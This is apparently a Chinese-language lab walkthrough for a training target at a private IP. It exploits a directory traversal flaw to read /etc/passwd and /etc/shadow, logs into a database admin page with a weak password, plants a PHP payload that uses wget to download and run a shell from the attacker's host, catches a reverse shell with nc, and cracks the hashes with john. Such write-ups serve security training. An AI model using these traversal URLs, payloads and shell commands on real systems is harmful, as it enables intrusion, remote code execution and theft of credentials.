1.目录遍历漏洞介绍
路径遍历攻击(目录遍历)旨在访问存储在web根文件夹之外的文件和目录。通过操纵带有“点-斜线(…)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。
需要注意的事,系统操作访问控制(如在Windows操作系统上锁定或使用文件)限制了对文件的访问权限
这种攻击也称为“点-点斜线”、“目录遍历”、“目录爬升”和“回溯”
2.信息探测
#扫描主机服务信息以及服务版本
nmap -sV 192.168.2.120
#快速扫描主机全部信息
nmap -T4 -A -v 192.168.2.120
#探测敏感信息
nikto -host http://192.168.2.120
dirb http://192.168.2.120
3.深入挖掘
分析nmap、nikto扫描结果,分析挖掘可以利用的信息
查看http敏感页面
3.漏洞扫描
owasp-zap漏洞扫描器
在浏览器中访问owasp返回的Path-Traversal漏洞扫描结果
http://192.168.2.120/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
4.分析漏洞扫描结果
目录遍历漏洞
尝试其他文件,没有显示对应结果
http://192.168.2.120/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow
利用目录遍历漏洞获取shell思路:
上传webshell到服务器,之后通过对应的目录遍历路径访问并执行webshell,在kali中获取反弹shell
5.敏感页面上传shell
dbadmin敏感目录有敏感页面,浏览器访问,使用弱口令尝试登录(admin)
登录页面之后查找可利用的写webshell的点
使用/usr/share/webshells/php/下的webshell(php-reverse-shell.php)
新建数据库,数据表,字段
#写入
<?php system("cd /tmp;wget http://192.168.2.110/shell.php;chmod +x shell.php;php webshell");?>
5.监听反弹shell
创建服务器用于靶场机器下载对应shell
python -m "SimpleHTTPServer"
数据库字段值改为Web的端口
监听端口
nc -nlvp 4444
启动终端
python -c "import pty;pty.spawn('/bin/bash')"
6.总结
通过目录遍历漏洞配合文件上传webshell,反弹对应shell
目录遍历也可以用来获取敏感信息
例如 破解linux用户名和对应密码
/etc/passwd
/etc/shadow
unshadow passwd shadow > cracked
john cracked